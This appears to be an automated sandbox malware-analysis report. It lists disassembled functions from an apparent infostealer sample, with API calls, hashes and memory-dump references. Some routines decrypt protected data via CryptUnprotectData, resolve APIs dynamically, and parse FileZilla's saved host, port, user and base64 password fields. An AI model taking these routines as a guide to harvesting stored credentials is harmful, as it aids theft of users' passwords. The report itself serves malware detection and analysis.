Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 3711EC74224205BFDB00CF94DC89FAB33AAEF89754F009558F9198B264D775E882DB60

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 022C9D27 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,022C5155,00000000,00000000), ref: 022C9D56
LocalAlloc.KERNEL32(00000040,?,?,?,022C5155,00000000,?), ref: 022C9D68
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,022C5155,00000000,00000000), ref: 022C9D91
LocalFree.KERNEL32(?,?,?,?,022C5155,00000000,?), ref: 022C9DA6

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: 88d40f9036e13e7ae4e37eb3a35a30b07cce2eb71b1fb1b835963c9dd6ef974e
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 2311A4B4240208BFEB10CFA4CC95FAA77B5EB89704F208158FD159B394C776AA41CB90

Function 022C9DC7 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 022C9DEB
LocalAlloc.KERNEL32(00000040,00000000), ref: 022C9E0A
memcpy.MSVCRT(?,?,?), ref: 022C9E2D
LocalFree.KERNEL32(?), ref: 022C9E3A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 9f5ae195d5ca2901506f4538f9245252ff31a187e1d59f5240a71f929aaaba9a
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 051109B8A00209EFDB04CFA8D985AAEB7B9FF89304F104559F915A7350D730AE50CFA1

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007995F8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,007995F8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007995F8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 022C092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 022C095F
GetProcAddress., xrefs: 022C09DC, 022C09DF, 022C09E4
l, xrefs: 022C0966

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 100971aef7525d68245288f379f508fe19e431bc75f3600e95acdc478f3563cd
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E0314BB6910609DFDB20CF99C880BADBBF5FF48724F24414AD445A7214D7B1EA45CFA4

Function 022CF8F1 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 022CF985
StrCmpCA.SHLWAPI(?,004215BC), ref: 022CF9D6
StrCmpCA.SHLWAPI(?,004215C0), ref: 022CF9EC
FindNextFileA.KERNEL32(000000FF,?), ref: 022CFD18
FindClose.KERNEL32(000000FF), ref: 022CFD2A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: dbc33d9263c12bccf2023e6a26364f15308e1a9a0f3d34f169b2ef739c1ce31c
Instruction ID: 8b05aea4d7f1281b91906bb7a0ea4e3655d441f12d8cd410d651615d804676b0
Opcode Fuzzy Hash: dbc33d9263c12bccf2023e6a26364f15308e1a9a0f3d34f169b2ef739c1ce31c
Instruction Fuzzy Hash: 0011AC31820B4CABCB28EBE0ED54EED7336AF20300F5047AAA50A56195EF342B49CF41

Function 022DD151 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0041CEA8), ref: 022DD156

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 0041CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0041CEEF

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 007698AB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp, Offset: 00769000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_769000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: b348b3ea97f0f7fd3cf77673d7fe40d95b0945890acdc515df74724b0cf7ee3b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 49117072340201EFDB44DF55DC81FA673EEEB89360B298069EE05CB316E679E802C760

Function 022C0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 36e94ec375f8e3efdc814eb16f37a99f8bc429ae1088de275c298cd7d9e6d9d7
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: AB01F772620600CFDF21CFA0C804FAA33E9EB86205F1541A8E90697245E370AA418B90

Function 022D99B7 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 022DD1D3 Relevance: 107.7, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

free.MSVCRT ref: 022DD1E7
free.MSVCRT ref: 022DD1EF
free.MSVCRT ref: 022DD1F7
free.MSVCRT ref: 022DD1FF
free.MSVCRT ref: 022DD207
free.MSVCRT ref: 022DD20F
free.MSVCRT ref: 022DD216
free.MSVCRT ref: 022DD21E
free.MSVCRT ref: 022DD226
free.MSVCRT ref: 022DD22E
free.MSVCRT ref: 022DD236
free.MSVCRT ref: 022DD23E
free.MSVCRT ref: 022DD246
free.MSVCRT ref: 022DD24E
free.MSVCRT ref: 022DD256
free.MSVCRT ref: 022DD25E
free.MSVCRT ref: 022DD269
free.MSVCRT ref: 022DD271
free.MSVCRT ref: 022DD279
free.MSVCRT ref: 022DD281
free.MSVCRT ref: 022DD289
free.MSVCRT ref: 022DD291
free.MSVCRT ref: 022DD299
free.MSVCRT ref: 022DD2A1
free.MSVCRT ref: 022DD2A9
free.MSVCRT ref: 022DD2B1
free.MSVCRT ref: 022DD2B9
free.MSVCRT ref: 022DD2C1
free.MSVCRT ref: 022DD2C9
free.MSVCRT ref: 022DD2D1
free.MSVCRT ref: 022DD2D9
free.MSVCRT ref: 022DD2E1
free.MSVCRT ref: 022DD2EF
free.MSVCRT ref: 022DD2FA
free.MSVCRT ref: 022DD305
free.MSVCRT ref: 022DD310
free.MSVCRT ref: 022DD31B
free.MSVCRT ref: 022DD326
free.MSVCRT ref: 022DD331
free.MSVCRT ref: 022DD33C
free.MSVCRT ref: 022DD347
free.MSVCRT ref: 022DD352
free.MSVCRT ref: 022DD35D
free.MSVCRT ref: 022DD368
free.MSVCRT ref: 022DD373
free.MSVCRT ref: 022DD37E
free.MSVCRT ref: 022DD389
free.MSVCRT ref: 022DD394
free.MSVCRT ref: 022DD3A2
free.MSVCRT ref: 022DD3AD
free.MSVCRT ref: 022DD3B8
free.MSVCRT ref: 022DD3C3
free.MSVCRT ref: 022DD3CE
free.MSVCRT ref: 022DD3D9
free.MSVCRT ref: 022DD3E4
free.MSVCRT ref: 022DD3EF
free.MSVCRT ref: 022DD3FA
free.MSVCRT ref: 022DD405
free.MSVCRT ref: 022DD410
free.MSVCRT ref: 022DD41B
free.MSVCRT ref: 022DD426
free.MSVCRT ref: 022DD431
free.MSVCRT ref: 022DD43C
free.MSVCRT ref: 022DD447
free.MSVCRT ref: 022DD455
free.MSVCRT ref: 022DD460
free.MSVCRT ref: 022DD46B
free.MSVCRT ref: 022DD476
free.MSVCRT ref: 022DD481
free.MSVCRT ref: 022DD48C
free.MSVCRT ref: 022DD497
free.MSVCRT ref: 022DD4A2
free.MSVCRT ref: 022DD4AD
free.MSVCRT ref: 022DD4B8
free.MSVCRT ref: 022DD4C3
free.MSVCRT ref: 022DD4CE
free.MSVCRT ref: 022DD4D9
free.MSVCRT ref: 022DD4E4
free.MSVCRT ref: 022DD4EF
free.MSVCRT ref: 022DD4FA
free.MSVCRT ref: 022DD508
free.MSVCRT ref: 022DD513
free.MSVCRT ref: 022DD51E
free.MSVCRT ref: 022DD529
free.MSVCRT ref: 022DD534
free.MSVCRT ref: 022DD53F

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4243eb4f7a4797f88c21eec07c423483bd74b8336bdd1fff1b24957b34ad7449
Instruction ID: 88e92da0b463ef236bd56cf16ee9d513761a5c2ce8e3227b2dcf879ded170889
Opcode Fuzzy Hash: 4243eb4f7a4797f88c21eec07c423483bd74b8336bdd1fff1b24957b34ad7449
Instruction Fuzzy Hash: 8271D333471B80EBD76B3BB1DD01E8A7AA3BF04702F104924B1DB29574DEB26865AF51

Function 022D9AC7 Relevance: 87.7, APIs: 33, Strings: 17, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0064A8B0,X~v), ref: 022D9B08
GetProcAddress.KERNEL32(0064A8B0,0064A5C8), ref: 022D9B21
GetProcAddress.KERNEL32(0064A8B0,0064A644), ref: 022D9B39
GetProcAddress.KERNEL32(0064A8B0,0064A264), ref: 022D9B51
GetProcAddress.KERNEL32(0064A8B0,0064A250), ref: 022D9B6A
GetProcAddress.KERNEL32(0064A8B0, Nv), ref: 022D9B82
GetProcAddress.KERNEL32(0064A8B0,Hv), ref: 022D9B9A
GetProcAddress.KERNEL32(0064A8B0,(Iv), ref: 022D9BB3
GetProcAddress.KERNEL32(0064A8B0,~v), ref: 022D9BCB
GetProcAddress.KERNEL32(0064A8B0,p~v), ref: 022D9BE3
GetProcAddress.KERNEL32(0064A8B0,H+y), ref: 022D9BFC
GetProcAddress.KERNEL32(0064A8B0,h,y), ref: 022D9C14
GetProcAddress.KERNEL32(0064A8B0,(Jv), ref: 022D9C2C
GetProcAddress.KERNEL32(0064A8B0,0064A0B0), ref: 022D9C45
GetProcAddress.KERNEL32(0064A8B0,0064A598), ref: 022D9C5D
GetProcAddress.KERNEL32(0064A8B0,Gv), ref: 022D9C75
GetProcAddress.KERNEL32(0064A8B0, ,y), ref: 022D9C8E
GetProcAddress.KERNEL32(0064A8B0,P,y), ref: 022D9CA6
GetProcAddress.KERNEL32(0064A8B0,0064A0BC), ref: 022D9CBE
GetProcAddress.KERNEL32(0064A8B0,8,y), ref: 022D9CD7
GetProcAddress.KERNEL32(0064A8B0,HGv), ref: 022D9CEF
LoadLibraryA.KERNEL32(0064A550,?,022D6C67), ref: 022D9D01
LoadLibraryA.KERNEL32(0064A17C,?,022D6C67), ref: 022D9D12
LoadLibraryA.KERNEL32(0064A104,?,022D6C67), ref: 022D9D24
LoadLibraryA.KERNEL32(0064A1DC,?,022D6C67), ref: 022D9D36
LoadLibraryA.KERNEL32(*y,?,022D6C67), ref: 022D9D47
GetProcAddress.KERNEL32(0064A6D4,0064A4AC), ref: 022D9D69
GetProcAddress.KERNEL32(0064A7F4,X*y), ref: 022D9D8A
GetProcAddress.KERNEL32(0064A7F4,0064A1CC), ref: 022D9DA2
GetProcAddress.KERNEL32(0064A8E4,0064A394), ref: 022D9DC4
GetProcAddress.KERNEL32(0064A7A8,0064A128), ref: 022D9DE5
GetProcAddress.KERNEL32(0064A7D8,`Ov), ref: 022D9E06
GetProcAddress.KERNEL32(0064A7D8,00420724), ref: 022D9E1D

Strings

(Jv, xrefs: 022D9C1F, 022D9C25
P,y, xrefs: 022D9C99, 022D9C9E
X*y, xrefs: 022D9D7D, 022D9D82
Hv, xrefs: 022D9B8D, 022D9B93
Gv, xrefs: 022D9C68, 022D9C6E
~v, xrefs: 022D9BBE, 022D9BC3
X~v, xrefs: 022D9AFB, 022D9B01
(Iv, xrefs: 022D9BA5, 022D9BAB
HGv, xrefs: 022D9CE2, 022D9CE7
8,y, xrefs: 022D9CC9, 022D9CCF
,y, xrefs: 022D9C80, 022D9C86
h,y, xrefs: 022D9C07, 022D9C0C
H+y, xrefs: 022D9BEE, 022D9BF4
Nv, xrefs: 022D9B75, 022D9B7A
*y, xrefs: 022D9D41, 022D9D46
p~v, xrefs: 022D9BD6, 022D9BDC
`Ov, xrefs: 022D9DF9, 022D9DFF

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: ,y$ Nv$(Iv$(Jv$8,y$H+y$HGv$P,y$X*y$X~v$`Ov$h,y$p~v$*y$Gv$Hv$~v
API String ID: 2238633743-2688192148
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 38d190d8190dadb7c56e45418f143c9fc8f2f9f840f3c461720b2d8101f17662
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 4EA13BBD5D0240BFE364EFE8ED889A63BFBF74E201714661AF605C3264D639A441DB12

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
